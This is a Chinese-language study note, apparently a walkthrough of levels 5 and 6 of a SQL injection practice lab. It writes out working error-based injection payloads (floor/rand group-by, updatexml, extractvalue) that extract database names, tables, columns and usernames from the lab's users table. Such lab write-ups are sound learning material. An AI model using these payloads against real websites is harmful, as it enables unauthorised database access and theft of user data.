先上图,图是网上找的,学习记录用,如果造成作者的困扰,请联系删除
盲注步骤思维导图
第五关:
首先,通过输入正确的id=1得到 YOU ARE IN ..........。这就告诉我们没有回显,所以只能通过盲注来解拿库里数据了。正如网上建议,报错>布尔>时间
1、通过输入 id=1’ 得到报错,可知闭合方式选择 单引号。且有报错,可以利用报错得到我们想要的。
2、继续 id = 1' --+ 不报错。可以确定是单引号闭合了。
3、方法一、floor报错注入:?id=1' and (select count(*) from information_schema.tables group by concat(floor(rand(14)*2),0x23,(database())))--+ 拿到当前数据库名。
后面就是拼接取数了。
直接?id=1' and (select count(*) from information_schema.tables group by concat(floor(rand(14)*2),0x23,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')))--+拿表名
?id=1' and (select count(*) from information_schema.tables group by concat(floor(rand(14)*2),0x23,(select group_concat(username) from users)))--+拿字段名
?id=1' and (select count(*) from information_schema.tables group by concat(floor(rand(14)*2),0x23,(select group_concat(username) from users)))--+;这样拿值报“子查询返回的行数大于1”。很奇怪。
所以只能通过floor+limit拿值了。
?id=1' and (select count(*) from information_schema.tables group by concat(floor(rand(14)*2),0x23,(select username from users limit 0,1)))--+;通过floor+limit 依次拿值
当然floor报错有局限性,由于报错字符数量显示的问题,会导致库名或者表名显示不全的问题。
【web安全】——floor报错注入-CSDN博客:floor报错原理解析
方法二:updatexml报错
?id=-1' and updatexml(1,concat(0x7e,database(),0x7e),1)--+;拿库
?id=-1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e),1)--+ ; 子查询+limit 依次拿所有库名。(ps:不知为什么,通过group by 和 concat嵌套不可以一次性把库名输出,可能是语法问题把。)
?id=-1' and updatexml(1,concat(0x23,(select table_name from information_schema.tables where table_schema='security' limit 3,1),0x23),1)--+;拿表
后面就是拿数据都一样了。
方法三:extractvalue报错
?id=1' and extractvalue(1,concat(0x23,database(),0x23))--+;拿当前库名
总之,第五关就是虽然没有回显,但是有报错,我们可以通过报错,拿到数据。
第六关
双引号闭合;拿数据的方法跟第五关是一样的。